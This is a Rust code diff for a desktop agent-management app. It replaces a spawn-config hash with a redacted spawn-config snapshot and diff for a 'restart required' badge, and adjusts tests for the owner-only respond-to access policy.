-    assert_eq!(
-        set_map
-            .get("BUZZ_ACP_RESPOND_TO_ALLOWLIST")
-            .map(String::as_str),
-        Some(format!("{a},{b}").as_str()),
+        Some(expected_mode("allowlist")),
+        "runtime wrapper did not apply the declared build policy",
     );
+    if expected_owner_only() {
+        assert!(!set_map.contains_key("BUZZ_ACP_RESPOND_TO_ALLOWLIST"));
+    } else {
+        assert_eq!(
+            set_map
+                .get("BUZZ_ACP_RESPOND_TO_ALLOWLIST")
+                .map(String::as_str),
+            Some(format!("{a},{b}").as_str()),
+        );
+    }
 }
 
 #[test]
@@ -231,7 +185,30 @@ fn build_env_anyone_omits_allowlist_var() {
     let set_map: std::collections::HashMap<_, _> = set.into_iter().collect();
     assert_eq!(
         set_map.get("BUZZ_ACP_RESPOND_TO").map(String::as_str),
-        Some("anyone")
+        Some(expected_mode("anyone")),
+        "runtime wrapper did not apply the declared build policy",
+    );
+    assert!(!set_map.contains_key("BUZZ_ACP_RESPOND_TO_ALLOWLIST"));
+    assert!(remove.contains(&"BUZZ_ACP_RESPOND_TO_ALLOWLIST"));
+}
+
+#[test]
+fn owner_only_access_policy_overrides_stale_anyone_record_at_runtime() {
+    let rec = fixture(RespondTo::Anyone, vec!["a".repeat(64)], Some("tag".into()));
+    let (set, remove) = build_respond_to_env_with_policy(&rec, Some("owner"), true).unwrap();
+    let set_map: std::collections::HashMap<_, _> = set.into_iter().collect();
+
+    assert_eq!(
+        set_map.get("BUZZ_ACP_RESPOND_TO").map(String::as_str),
+        Some("owner-only"),
+        "owner-only-access runtime env widened stale access",
+    );
+    assert_eq!(
+        set_map
+            .get("BUZZ_ACP_ALLOWED_RESPOND_TO")
+            .map(String::as_str),
+        Some("owner-only"),
+        "owner-only-access runtime env omitted the owner-only guard",
     );
     assert!(!set_map.contains_key("BUZZ_ACP_RESPOND_TO_ALLOWLIST"));
     assert!(remove.contains(&"BUZZ_ACP_RESPOND_TO_ALLOWLIST"));
@@ -271,8 +248,17 @@ fn build_env_rejects_corrupted_allowlist() {
 #[test]
 fn build_env_rejects_empty_allowlist_in_allowlist_mode() {
     let rec = fixture(RespondTo::Allowlist, vec![], Some("tag".into()));
-    let err = build_respond_to_env(&rec, Some("owner")).unwrap_err();
-    assert!(err.contains("at least one pubkey"));
+    if expected_owner_only() {
+        let (set, _) = build_respond_to_env(&rec, Some("owner")).unwrap();
+        let set_map: std::collections::HashMap<_, _> = set.into_iter().collect();
+        assert_eq!(
+            set_map.get("BUZZ_ACP_RESPOND_TO").map(String::as_str),
+            Some("owner-only")
+        );
+    } else {
+        let err = build_respond_to_env(&rec, Some("owner")).unwrap_err();
+        assert!(err.contains("at least one pubkey"));
+    }
 }
 
 // ── persona fixture helpers ─────────────────────────────────────────
@@ -1271,7 +1257,13 @@ fn make_pair_runtime_placeholder() -> crate::managed_agents::ManagedAgentPairRun
     let process = crate::managed_agents::ManagedAgentProcess {
         child,
         log_path: std::path::PathBuf::new(),
-        spawn_config_hash: 0,
+        spawn_config: crate::managed_agents::spawn_snapshot::prospective_spawn_config_snapshot(
+            &minimal_record(&"cc".repeat(32)),
+            &[],
+            &[],
+            "wss://relay.example",
+            &Default::default(),
+        ),
         setup_mode: false,
         adapter_availability: None,
         start_nonce: "test-nonce".to_string(),
@@ -1280,37 +1272,3 @@ fn make_pair_runtime_placeholder() -> crate::managed_agents::ManagedAgentPairRun
     };
     crate::managed_agents::ManagedAgentPairRuntime::starting(process)
 }
-
-// ── restart_eligible tests ──────────────────────────────────────────────
-
-#[test]
-fn restart_eligible_true_when_non_orphan_has_hash_drift() {
-    assert!(super::restart_eligible(false, true, false));
-}
-
-#[test]
-fn restart_eligible_true_when_non_orphan_has_availability_drift() {
-    assert!(super::restart_eligible(false, false, true));
-}
-
-#[test]
-fn restart_eligible_false_when_orphan_has_hash_drift() {
-    // An orphan can never be restarted successfully — spawn refuses it —
-    // so hash drift alone must not surface "Restart required".
-    assert!(!super::restart_eligible(true, true, false));
-}
-
-#[test]
-fn restart_eligible_false_when_orphan_has_availability_drift() {
-    assert!(!super::restart_eligible(true, false, true));
-}
-
-#[test]
-fn restart_eligible_false_when_orphan_has_no_drift() {
-    assert!(!super::restart_eligible(true, false, false));
-}
-
-#[test]
-fn restart_eligible_false_when_non_orphan_has_no_drift() {
-    assert!(!super::restart_eligible(false, false, false));
-}
diff --git a/desktop/src-tauri/src/managed_agents/spawn_hash.rs b/desktop/src-tauri/src/managed_agents/spawn_hash.rs
deleted file mode 100644
index 648cc62bbe..0000000000
--- a/desktop/src-tauri/src/managed_agents/spawn_hash.rs
+++ /dev/null
@@ -1,160 +0,0 @@
-//! Spawn-time config hash for the restart-required badge.
-//!
-//! [`spawn_config_hash`] digests the *effective spawned values* — what a
-//! process launch of `record` would actually receive — so the UI can compare
-//! a running process's hash (stamped on [`super::ManagedAgentProcess`] at
-//! spawn) against a recomputation from current disk state and show a
-//! "restart required" badge only when a restart would change what runs.
-//!
-//! Scope rules (decided in #centralize-personas-and-agents, revised in PR
-//! #1602 review):
-//! - Inputs mirror what a start would actually run: the start/restore paths
-//!   re-snapshot the linked persona's prompt/model/provider/env onto the
-//!   record immediately before spawning (`start_local_agent_with_preflight`,
-//!   `restore_managed_agents_on_launch`), so persona edits to those fields DO
-//!   apply on a plain restart and are hashed via the same prospective
-//!   re-snapshot. Harness command, args/mcp, env layering, and the record
-//!   fields the spawn env writes read are hashed as spawn resolves them.
-//! - The relay URL is hashed in resolved form (`effective_agent_relay_url`):
-//!   every record spawns against the active workspace relay (legacy per-record
-//!   pins are ignored), so a workspace relay change means a restart would
-//!   change what runs.
-//! - Channel membership is not an input: agents pick up channel changes live
-//!   (#1468), never via restart.
-//!
-//! The hash never crosses a process or persistence boundary, so
-//! `DefaultHasher` (not stable across Rust releases) is sufficient.
-
-use std::hash::{DefaultHasher, Hash, Hasher};
-
-use super::{
-    effective_config::{resolve_effective_config, EffectiveConfigResult},
-    known_acp_runtime, normalize_agent_args,
-    persona_events::preview_prospective_persona_snapshot,
-    runtime::{resolve_session_title, SESSION_TITLE_ENV_VAR},
-    types::{AgentDefinition, ManagedAgentRecord, TeamRecord},
-    GlobalAgentConfig,
-};
-
-/// Resolve the current instructions for this instance's deployment-time team binding.
-/// A deleted team deliberately degrades to no team section.
-pub(crate) fn effective_team_instructions(
-    record: &ManagedAgentRecord,
-    teams: &[TeamRecord],
-) -> Option<String> {
-    teams
-        .iter()
-        .find(|team| Some(team.id.as_str()) == record.team_id.as_deref())
-        .and_then(|team| team.instructions.as_deref())
-        .map(str::trim)
-        .filter(|instructions| !instructions.is_empty())
-        .map(str::to_string)
-}
-
-/// Digest the effective spawn configuration of `record` under the current
-/// `personas`, resolving a blank record relay against `workspace_relay`.
-/// Pure — no `AppHandle`, no disk, no keyring.
-pub(crate) fn spawn_config_hash(
-    record: &ManagedAgentRecord,
-    personas: &[AgentDefinition],
-    teams: &[TeamRecord],
-    workspace_relay: &str,
-    global: &GlobalAgentConfig,
-) -> u64 {
-    // Prospective re-snapshot: apply the same `apply_persona_snapshot` the
-    // start/restore paths run right before spawning, so the hash covers what a
-    // restart would actually run. Idempotent, so the spawn-time stamp
-    // (post-snapshot record) and later recomputes (persisted record) agree
-    // when nothing changed. The persona env itself reaches the hash through
-    // the descriptor's layered env below; `persona_source_version` is set on
-    // the clone but is not a hash input.
-    let record = preview_prospective_persona_snapshot(record, personas);
-    let record = &record;
-
-    // Resolve command, args, and env via the single typed descriptor — same path
-    // as spawn_agent_child.  Dangling harness id falls back to the infallible
-    // record_agent_command (no-op: a dangling harness can't be spawned, so the
-    // hash never matters for that agent).
-    let descriptor =
-        crate::managed_agents::resolve_effective_harness_descriptor(record, personas, global)
-            .unwrap_or_else(|_| {
-                let cmd = crate::managed_agents::record_agent_command(record, personas);
-                let args = normalize_agent_args(&cmd, record.agent_args.clone());
-                crate::managed_agents::readiness::EffectiveHarnessDescriptor {
-                    command: cmd,
-                    args,
-                    env: Default::default(),
-                }
-            });
-    let runtime_meta = known_acp_runtime(&descriptor.command);
-
-    let mut hasher = DefaultHasher::new();
-
-    // Harness identity and derivations (live-persona-resolved, like spawn).
-    record.acp_command.hash(&mut hasher);
-    descriptor.command.hash(&mut hasher);
-    descriptor.args.hash(&mut hasher);
-    runtime_meta
-        .and_then(|r| r.mcp_command)
-        .unwrap_or("")
-        .hash(&mut hasher);
-
-    // Effective env layering (baked floor → runtime metadata → definition env
-    // → global → persona → agent). BTreeMap iteration is ordered, deterministic.
-    descriptor.env.hash(&mut hasher);
-
-    // Record fields the spawn env writes read directly. The relay is hashed
-    // resolved: every record spawns on the workspace relay (legacy pins
-    // ignored), so a workspace relay change must trip the badge.
-    crate::relay::effective_agent_relay_url(&record.relay_url, workspace_relay).hash(&mut hasher);
-    // Team instructions use the same resolver as spawn.
-    effective_team_instructions(record, teams).hash(&mut hasher);
-    // Prompt, model, and provider all come from ONE `resolve_effective_config`
-    // call — the SAME resolve `spawn_agent_child` performs for the env write,
-    // so env write and this badge cannot disagree. An orphaned link (missing
-    // definition) hashes as if all three were absent: `spawn_agent_child`
-    // refuses to spawn an orphan regardless, so this is a display-only
-    // convenience, not the spawn gate.
-    let (resolved_prompt, resolved_model, resolved_provider) =
-        match resolve_effective_config(record, personas, global) {
-            EffectiveConfigResult::Resolved(cfg) => {
-                (cfg.system_prompt.value, cfg.model.value, cfg.provider.value)
-            }
-            EffectiveConfigResult::OrphanedInstance { .. } => (None, None, None),
-        };
-    resolved_prompt.hash(&mut hasher);
-    resolved_model.hash(&mut hasher);
-    resolved_provider.hash(&mut hasher);
-    // Session title: the same resolve `spawn_agent_child` performs for its env
-    // write, so a rename raises the restart badge. Skipped when a user env
-    // override shadows it — spawn writes the title BEFORE the user env layer,
-    // so the override is what actually runs, and it already reaches this hash
-    // through `descriptor.env` above. Hashing the record-derived value under an
-    // override would badge a rename that changes nothing.
-    let effective_session_title = (!descriptor.env.contains_key(SESSION_TITLE_ENV_VAR))
-        .then(|| resolve_session_title(record.display_name.as_deref(), &record.name))
-        .flatten();
-    effective_session_title.hash(&mut hasher);
-    record.auth_tag.hash(&mut hasher);
-    record.respond_to.as_str().hash(&mut hasher);
-    // The allowlist is hashed as the env receives it: spawn sets
-    // BUZZ_ACP_RESPOND_TO_ALLOWLIST only in allowlist mode, and normalized
-    // (trim/lowercase/dedup via `validate_respond_to_allowlist`) — so edits
-    // that don't survive normalization, or edits while another mode is
-    // active, must not badge. A list spawn would reject hashes raw: the
-    // stamped hash comes from a successful spawn, so any invalid edit
-    // correctly compares unequal.
-    if record.respond_to == super::types::RespondTo::Allowlist {
-        super::types::validate_respond_to_allowlist(&record.respond_to_allowlist)
-            .unwrap_or_else(|_| record.respond_to_allowlist.clone())
-            .hash(&mut hasher);
-    }
-    record.idle_timeout_seconds.hash(&mut hasher);
-    record.max_turn_duration_seconds.hash(&mut hasher);
-    record.parallelism.hash(&mut hasher);
-
-    hasher.finish()
-}
-
-#[cfg(test)]
-mod tests;
diff --git a/desktop/src-tauri/src/managed_agents/spawn_snapshot.rs b/desktop/src-tauri/src/managed_agents/spawn_snapshot.rs
new file mode 100644
index 0000000000..ba2129c984
--- /dev/null
+++ b/desktop/src-tauri/src/managed_agents/spawn_snapshot.rs
@@ -0,0 +1,269 @@
+//! Spawn-time config snapshot for the restart-required badge.
+//!
+//! [`SpawnConfigSnapshot`] captures the *effective spawned values* — what a
+//! process launch of a record would actually receive. The running process
+//! stamps one on [`super::ManagedAgentProcess`] at spawn; the summary builder
+//! recomputes a prospective one from current disk state and compares. Drift
+//! means a restart would change what runs, and the field-by-field difference
+//! is what the UI shows (see [`diff`]).
+//!
+//! Scope rules (decided in #centralize-personas-and-agents, revised in PR
+//! #1602 review):
+//! - Inputs mirror what a start would actually run: the start/restore paths
+//!   re-snapshot the linked persona's prompt/model/provider/env onto the
+//!   record immediately before spawning (`start_local_agent_with_preflight`,
+//!   `restore_managed_agents_on_launch`), so persona edits to those fields DO
+//!   apply on a plain restart and reach the prospective snapshot via the same
+//!   re-snapshot. Harness command, args/mcp, env layering, and the record
+//!   fields the spawn env writes read are captured as spawn resolves them.
+//! - The relay URL is captured in resolved form (`effective_agent_relay_url`):
+//!   every record spawns against the active workspace relay (legacy per-record
+//!   pins are ignored), so a workspace relay change means a restart would
+//!   change what runs.
+//! - Channel membership is not an input: agents pick up channel changes live
+//!   (#1468), never via restart.
+//!
+//! The snapshot never crosses a process or persistence boundary — it is
+//! runtime state only, held on the running `ManagedAgentProcess`.
+
+use std::collections::BTreeMap;
+
+use serde::Serialize;
+
+use super::{
+    effective_config::{resolve_effective_config, EffectiveConfigResult},
+    known_acp_runtime, normalize_agent_args,
+    persona_events::preview_prospective_persona_snapshot,
+    readiness::EffectiveHarnessDescriptor,
+    runtime::{resolve_session_title, SESSION_TITLE_ENV_VAR},
+    types::{AgentDefinition, ManagedAgentRecord, TeamRecord},
+    GlobalAgentConfig,
+};
+
+pub(crate) mod diff;
+pub(crate) use diff::{eligible_restart_diff, RestartDiffEntry, TrackedSpawnState};
+
+/// Resolve the current instructions for this instance's deployment-time team binding.
+/// A deleted team deliberately degrades to no team section.
+pub(crate) fn effective_team_instructions(
+    record: &ManagedAgentRecord,
+    teams: &[TeamRecord],
+) -> Option<String> {
+    teams
+        .iter()
+        .find(|team| Some(team.id.as_str()) == record.team_id.as_deref())
+        .and_then(|team| team.instructions.as_deref())
+        .map(str::trim)
+        .filter(|instructions| !instructions.is_empty())
+        .map(str::to_string)
+}
+
+/// The already-resolved values a spawn feeds into its `Command`.
+///
+/// Taking them rather than re-resolving is what makes the stamp describe the
+/// process that was actually launched: a persona/harness/global edit landing
+/// between spawn's resolution and the stamp can no longer suppress the badge.
+pub(crate) struct SpawnConfigInputs<'a> {
+    pub record: &'a ManagedAgentRecord,
+    pub descriptor: &'a EffectiveHarnessDescriptor,
+    /// Resolved workspace/pair relay — never the record's legacy pin.
+    pub relay_url: &'a str,
+    pub team_instructions: Option<&'a str>,
+    pub system_prompt: Option<&'a str>,
+    pub model: Option<&'a str>,
+    pub provider: Option<&'a str>,
+}
+
+/// The effective spawn configuration of one managed-agent process.
+///
+/// Serialization invariants (load-bearing — the drift comparison and the diff
+/// walk both read `canonical()`):
+/// - plain derived `Serialize`: no `flatten`, no `skip_serializing_if`, no
+///   custom or fallible field serializers, no colliding serialized names, so
+///   every field is always present on both sides of a comparison;
+/// - `Option::None` serializes as JSON `null`; a *missing* key is reserved for
+///   dynamic-map membership (`env.<KEY>` added/removed);
+/// - arrays are atomic leaves — `args` and `respond_to_allowlist` compare and
+///   render whole, never element-wise.
+///
+/// `Debug` is implemented by hand: [`ManagedAgentProcess`] derives `Debug`, so
+/// a derived impl here would print env values, auth tags, and CLI arguments.
+///
+/// [`ManagedAgentProcess`]: super::ManagedAgentProcess
+#[derive(Clone, Serialize)]
+pub(crate) struct SpawnConfigSnapshot {
+    /// The ACP harness binary the desktop launches (`buzz-acp`).
+    pub acp_command: String,
+    /// The effective agent command the harness drives.
+    pub command: String,
+    pub args: Vec<String>,
+    /// Catalog-derived from `command`; `""` when the runtime has none.
+    pub mcp_command: String,
+    /// Fully layered process env: baked floor -> runtime metadata ->
+    /// definition -> global -> persona -> agent.
+    pub env: BTreeMap<String, String>,
+    pub relay_url: String,
+    pub team_instructions: Option<String>,
+    pub system_prompt: Option<String>,
+    pub model: Option<String>,
+    pub provider: Option<String>,
+    /// `None` when a user env override shadows `BUZZ_ACP_SESSION_TITLE`: spawn
+    /// writes the title BEFORE the user env layer, so the override is what
+    /// actually runs and it already reaches this snapshot through `env`.
+    /// Capturing the record-derived value under an override would badge a
+    /// rename that changes nothing.
+    pub session_title: Option<String>,
+    pub auth_tag: Option<String>,
+    pub respond_to: String,
+    /// `None` outside allowlist mode — spawn sets
+    /// `BUZZ_ACP_RESPOND_TO_ALLOWLIST` only there, so edits to a dormant list
+    /// must not badge. Normalized (trim/lowercase/dedup) as the env receives
+    /// it, so edits that don't survive normalization must not badge either.
+    pub respond_to_allowlist: Option<Vec<String>>,
+    pub idle_timeout_seconds: Option<u64>,
+    pub max_turn_duration_seconds: Option<u64>,
+    pub parallelism: u32,
+}
+
+impl SpawnConfigSnapshot {
+    /// Assemble the snapshot from values a spawn has already resolved.
+    pub(crate) fn from_inputs(inputs: SpawnConfigInputs<'_>) -> Self {
+        let SpawnConfigInputs {
+            record,
+            descriptor,
+            relay_url,
+            team_instructions,
+            system_prompt,
+            model,
+            provider,
+        } = inputs;
+        Self {
+            acp_command: record.acp_command.clone(),
+            command: descriptor.command.clone(),
+            args: descriptor.args.clone(),
+            mcp_command: known_acp_runtime(&descriptor.command)
+                .and_then(|runtime| runtime.mcp_command)
+                .unwrap_or("")
+                .to_string(),
+            env: descriptor.env.clone(),
+            relay_url: relay_url.to_string(),
+            team_instructions: team_instructions.map(str::to_string),
+            system_prompt: system_prompt.map(str::to_string),
+            model: model.map(str::to_string),
+            provider: provider.map(str::to_string),
+            session_title: (!descriptor.env.contains_key(SESSION_TITLE_ENV_VAR))
+                .then(|| resolve_session_title(record.display_name.as_deref(), &record.name))
+                .flatten(),
+            auth_tag: record.auth_tag.clone(),
+            respond_to: record.respond_to.as_str().to_string(),
+            respond_to_allowlist: (record.respond_to == super::types::RespondTo::Allowlist).then(
+                || {
+                    // A list spawn would reject is captured raw: the stamped
+                    // snapshot comes from a successful spawn, so any invalid
+                    // edit correctly compares unequal.
+                    super::types::validate_respond_to_allowlist(&record.respond_to_allowlist)
+                        .unwrap_or_else(|_| record.respond_to_allowlist.clone())
+                },
+            ),
+            idle_timeout_seconds: record.idle_timeout_seconds,
+            max_turn_duration_seconds: record.max_turn_duration_seconds,
+            // Hash the effective parallelism so over-cap edits that don't change
+            // the running pool size (e.g. 10 → 8, both clamp to 5 on OpenClaw)
+            // do not raise a spurious "restart required" badge. Cap crossings
+            // (e.g. 8 → 3, where 3 is below the cap) do change the effective
+            // pool and must badge. The diff surface consequently displays the
+            // effective value — that is correct, it is what actually runs.
+            parallelism: super::effective_parallelism(&descriptor.command, record.parallelism),
+        }
+    }
+
+    /// Canonical JSON projection — the single representation both the drift
+    /// comparison and the diff walk read, so a lit badge always has a
+    /// non-empty diff and vice versa.
+    ///
+    /// Infallible by the serialization invariants documented on the struct
+    /// (plain derive over strings, scalars, string maps, and string vectors);
+    /// a failure here is a broken invariant, never a runtime condition, so it
+    /// must not degrade into an empty diff.
+    pub(crate) fn canonical(&self) -> serde_json::Value {
+        serde_json::to_value(self).expect("SpawnConfigSnapshot serializes infallibly")
+    }
+}
+
+impl std::fmt::Debug for SpawnConfigSnapshot {
+    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
+        write!(
+            f,
+            "SpawnConfigSnapshot({})",
+            diff::redacted_canonical(&self.canonical())
+        )
+    }
+}
+
+/// Snapshot the effective spawn configuration `record` would get if it were
+/// started right now under the current `personas`/`teams`/`global`, resolving
+/// a blank record relay against `workspace_relay`.
+///
+/// Pure — no `AppHandle`, no disk, no keyring. This is the *prospective* side
+/// of the comparison; the stamped side is built at spawn from the values that
+/// actually fed the child's `Command`.
+pub(crate) fn prospective_spawn_config_snapshot(
+    record: &ManagedAgentRecord,
+    personas: &[AgentDefinition],
+    teams: &[TeamRecord],
+    workspace_relay: &str,
+    global: &GlobalAgentConfig,
+) -> SpawnConfigSnapshot {
+    // Prospective re-snapshot: apply the same `apply_persona_snapshot` the
+    // start/restore paths run right before spawning, so this describes what a
+    // restart would actually run. Idempotent, so a spawn-time stamp taken
+    // after those paths saved the record compares equal when nothing changed.
+    // The persona env itself arrives through the descriptor's layered env
+    // below; `persona_source_version` is set on the clone but is not an input.
+    let record = preview_prospective_persona_snapshot(record, personas);
+    let record = &record;
+
+    // Resolve command, args, and env via the single typed descriptor — same
+    // path as spawn_agent_child. Dangling harness id falls back to the
+    // infallible record_agent_command (no-op: a dangling harness can't be
+    // spawned, so the snapshot never matters for that agent).
+    let descriptor =
+        crate::managed_agents::resolve_effective_harness_descriptor(record, personas, global)
+            .unwrap_or_else(|_| {
+                let command = crate::managed_agents::record_agent_command(record, personas);
+                let args = normalize_agent_args(&command, record.agent_args.clone());
+                EffectiveHarnessDescriptor {
+                    command,
+                    args,
+                    env: Default::default(),
+                }
+            });
+
+    // Prompt, model, and provider all come from ONE `resolve_effective_config`
+    // call — the SAME resolve `spawn_agent_child` performs for the env write,
+    // so env write and this badge cannot disagree. An orphaned link (missing
+    // definition) resolves as if all three were absent: `spawn_agent_child`
+    // refuses to spawn an orphan regardless, and `eligible_restart_diff`
+    // suppresses the badge for one.
+    let (prompt, model, provider) = match resolve_effective_config(record, personas, global) {
+        EffectiveConfigResult::Resolved(cfg) => {
+            (cfg.system_prompt.value, cfg.model.value, cfg.provider.value)
+        }
+        EffectiveConfigResult::OrphanedInstance { .. } => (None, None, None),
+    };
+
+    SpawnConfigSnapshot::from_inputs(SpawnConfigInputs {
+        record,
+        descriptor: &descriptor,
+        // Resolved, not stored: every record spawns on the workspace relay
+        // (legacy pins ignored), so a workspace relay change must badge.
+        relay_url: &crate::relay::effective_agent_relay_url(&record.relay_url, workspace_relay),
+        team_instructions: effective_team_instructions(record, teams).as_deref(),
+        system_prompt: prompt.as_deref(),
+        model: model.as_deref(),
+        provider: provider.as_deref(),
+    })
+}
+
+#[cfg(test)]
+mod tests;
diff --git a/desktop/src-tauri/src/managed_agents/spawn_snapshot/diff.rs b/desktop/src-tauri/src/managed_agents/spawn_snapshot/diff.rs
new file mode 100644
index 0000000000..a61eb92e2e
--- /dev/null
+++ b/desktop/src-tauri/src/managed_agents/spawn_snapshot/diff.rs
@@ -0,0 +1,307 @@
+//! Redacted field-by-field diff of two [`SpawnConfigSnapshot`]s.
+//!
+//! The walk is generic over the snapshot's canonical JSON: it compares leaves
+//! by path and emits one entry per inequality. Adding a field to
+//! [`SpawnConfigSnapshot`] therefore reaches the UI with no change here — the
+//! only per-path knowledge in this module is [`policy_for`], which decides how
+//! a leaf may be *shown*, never which leaves are compared.
+//!
+//! Raw values drive comparison; redaction happens strictly afterwards, when
+//! the serializable entry is built. Comparing masked forms would let two
+//! secrets with colliding suffixes read as "no drift".
+
+use serde::Serialize;
+use serde_json::{Map, Value};
+
+use super::SpawnConfigSnapshot;
+use crate::managed_agents::AcpAvailabilityStatus;
+
+/// Synthetic field id for adapter-availability drift, which lives outside the
+/// snapshot: it describes the environment around the process, not the config
+/// the process was spawned with.
+const ADAPTER_AVAILABILITY_FIELD: &str = "adapter_availability";
+
+const MASK: &str = "••••";
+
+/// One changed field. `field` is a dotted path built from serde field names,
+/// with dynamic map keys appended verbatim (`env.OPENAI_API_KEY`). The UI
+/// humanizes it generically and must never switch on its value.
+#[derive(Debug, Clone, PartialEq, Serialize)]
+pub struct RestartDiffEntry {
+    pub field: String,
+    pub change: RestartChange,
+}
+
+/// How a changed field is presented. The UI switches on `kind` — a closed set
+/// — and renders any `field` path.
+#[derive(Debug, Clone, PartialEq, Serialize)]
+#[serde(tag = "kind", rename_all = "snake_case")]
+pub enum RestartChange {
+    /// Safe scalar or array shown verbatim. `null` means absent.
+    Value { before: Value, after: Value },
+    /// Large text shown as character counts only. `null` means absent.
+    Text {
+        before_chars: Option<usize>,
+        after_chars: Option<usize>,
+    },
+    /// Secret-bearing leaf. `null` means absent.
+    Masked {
+        before: Option<String>,
+        after: Option<String>,
+    },
+    /// Dynamic-map key present only on the new side. No payload — the value
+    /// would be secret-bearing and the key name alone is the useful signal.
+    Added,
+    /// Dynamic-map key present only on the old side.
+    Removed,
+}
+
+/// How a leaf at `path` may be displayed.
+#[derive(Clone, Copy, PartialEq)]
+enum MaskPolicy {
+    /// Shown verbatim.
+    Plain,
+    /// Character counts only.
+    Text,
+    /// `••••` plus the last four characters when longer than eight.
+    MaskedSuffix,
+    /// `••••` and nothing else.
+    MaskedBare,
+}
+
+/// The single redaction authority: the wire diff and the snapshot's `Debug`
+/// both route every leaf through this.
+///
+/// A new snapshot field needs an arm here only if it can carry a credential or
+/// is too large to render; everything else falls through to `Plain`.
+fn policy_for(path: &str) -> MaskPolicy {
+    match path {
+        // Arbitrary user text — a rendered before/after would be unbounded as
+        // well as unreadable.
+        "system_prompt" | "team_instructions" => MaskPolicy::Text,
+        // Arbitrary CLI arguments: `--token=...` is legal, so no part of the
+        // value may be disclosed. Same for the relay URL — `normalize_relay_url`
+        // rejects userinfo but deliberately preserves query strings, so
+        // `wss://relay.example/ws?token=...` is a valid value.
+        "args" | "relay_url" => MaskPolicy::MaskedBare,
+        // NIP-OA auth tag: a credential, but a suffix tells the user which tag
+        // they are looking at.
+        "auth_tag" => MaskPolicy::MaskedSuffix,
+        // Env values: consult the shared allowlist. Allowlisted keys (e.g.
+        // `BUZZ_AGENT_THINKING_EFFORT`) render plain so the user sees the
+        // actual enum values; every other env key stays masked.
+        _ if path.starts_with("env.") => {
+            let key = &path[4..];
+            if crate::managed_agents::is_safe_to_reveal(key) {
+                MaskPolicy::Plain
+            } else {
+                MaskPolicy::MaskedSuffix
+            }
+        }
+        // Plain arm. Every path reaching it is already rendered verbatim in
+        // the runtime UI today:
+        //   acp_command / command / mcp_command — resolved binary names
+        //   session_title                       — display chrome
+        //   model / provider                    — catalog ids
+        //   respond_to / respond_to_allowlist   — gate mode + pubkeys
+        //   idle_timeout_seconds / max_turn_duration_seconds / parallelism
+        //                                       — numeric limits
+        //   adapter_availability                — an enum variant name
+        _ => MaskPolicy::Plain,
+    }
+}
+
+/// `••••` plus the last four characters, or a bare `••••` when the value is
+/// short enough that a suffix would disclose too much of it.
+///
+/// Character-based throughout: byte slicing can panic on a multi-byte value or
+/// disclose the wrong suffix.
+fn mask(value: &str) -> String {
+    let chars: Vec<char> = value.chars().collect();
+    match chars.len() {
+        len if len > 8 => format!("{MASK}{}", chars[len - 4..].iter().collect::<String>()),
+        _ => MASK.to_string(),
+    }
+}
+
+/// Character count of a text leaf; `None` when the leaf is absent.
+fn char_count(value: &Value) -> Option<usize> {
+    match value {
+        Value::Null => None,
+        Value::String(text) => Some(text.chars().count()),
+        // Fail closed on an unexpected shape: count it, never show it.
+        other => Some(other.to_string().chars().count()),
+    }
+}
+
+/// Masked rendering of a leaf; `None` when the leaf is absent.
+fn masked(policy: MaskPolicy, value: &Value) -> Option<String> {
+    match (policy, value) {
+        (_, Value::Null) => None,
+        (MaskPolicy::MaskedSuffix, Value::String(text)) => Some(mask(text)),
+        // Fail closed: an unexpected shape under a redacting policy still
+        // redacts rather than disclosing the raw value.
+        _ => Some(MASK.to_string()),
+    }
+}
+
+fn change_for(policy: MaskPolicy, before: &Value, after: &Value) -> RestartChange {
+    match policy {
+        MaskPolicy::Plain => RestartChange::Value {
+            before: before.clone(),
+            after: after.clone(),
+        },
+        MaskPolicy::Text => RestartChange::Text {
+            before_chars: char_count(before),
+            after_chars: char_count(after),
+        },
+        MaskPolicy::MaskedSuffix | MaskPolicy::MaskedBare => RestartChange::Masked {
+            before: masked(policy, before),
+            after: masked(policy, after),
+        },
+    }
+}
+
+/// Lexicographically sorted union of both maps' keys, so entry order — and
+/// therefore the UI's "first N plus and-N-more" truncation — is stable.
+fn key_union<'a>(before: &'a Map<String, Value>, after: &'a Map<String, Value>) -> Vec<&'a str> {
+    let mut keys: Vec<&str> = before
+        .keys()
+        .chain(after.keys())
+        .map(String::as_str)
+        .collect();
+    keys.sort_unstable();
+    keys.dedup();
+    keys
+}
+
+fn child_path(parent: &str, key: &str) -> String {
+    if parent.is_empty() {
+        key.to_string()
+    } else {
+        format!("{parent}.{key}")
+    }
+}
+
+fn walk(
+    path: &str,
+    before: Option<&Value>,
+    after: Option<&Value>,
+    out: &mut Vec<RestartDiffEntry>,
+) {
+    match (before, after) {
+        (before, after) if before == after => {}
+        // Present on one side only. Struct fields are always present (`None`
+        // serializes as `null`), so this is dynamic-map membership.
+        (None, Some(_)) => out.push(RestartDiffEntry {
+            field: path.to_string(),
+            change: RestartChange::Added,
+        }),
+        (Some(_), None) => out.push(RestartDiffEntry {
+            field: path.to_string(),
+            change: RestartChange::Removed,
+        }),
+        (Some(Value::Object(before)), Some(Value::Object(after))) => {
+            for key in key_union(before, after) {
+                walk(&child_path(path, key), before.get(key), after.get(key), out);
+            }
+        }
+        // Everything else is a leaf: scalars, and arrays (atomic — `args`
+        // changed as a whole, never `args.0`).
+        (before, after) => out.push(RestartDiffEntry {
+            field: path.to_string(),
+            change: change_for(
+                policy_for(path),
+                before.unwrap_or(&Value::Null),
+                after.unwrap_or(&Value::Null),
+            ),
+        }),
+    }
+}
+
+/// The redacted diff of two snapshots, in stable path order.
+fn diff(before: &SpawnConfigSnapshot, after: &SpawnConfigSnapshot) -> Vec<RestartDiffEntry> {
+    let mut entries = Vec::new();
+    walk(
+        "",
+        Some(&before.canonical()),
+        Some(&after.canonical()),
+        &mut entries,
+    );
+    entries
+}
+
+fn availability_value(status: Option<&AcpAvailabilityStatus>) -> Value {
+    status
+        .and_then(|status| serde_json::to_value(status).ok())
+        .unwrap_or(Value::Null)
+}
+
+/// What a tracked runtime was launched with, paired with what a launch would
+/// use now. Absent (`None` at the call site) for every agent this workspace
+/// tracks no live pair for — stopped, or `runtime_pid`-adopted across an app
+/// restart, whose spawn config was never stamped and so can never be shown to
+/// have drifted.
+pub(crate) struct TrackedSpawnState<'a> {
+    pub stamped: &'a SpawnConfigSnapshot,
+    pub current: &'a SpawnConfigSnapshot,
+    pub stamped_availability: Option<&'a AcpAvailabilityStatus>,
+    pub current_availability: Option<AcpAvailabilityStatus>,
+}
+
+/// The final restart-diff for one agent — the single source of both the wire
+/// field and the badge, which is `!result.is_empty()`.
+///
+/// Empty for an un-stamped agent (see [`TrackedSpawnState`]) and for an
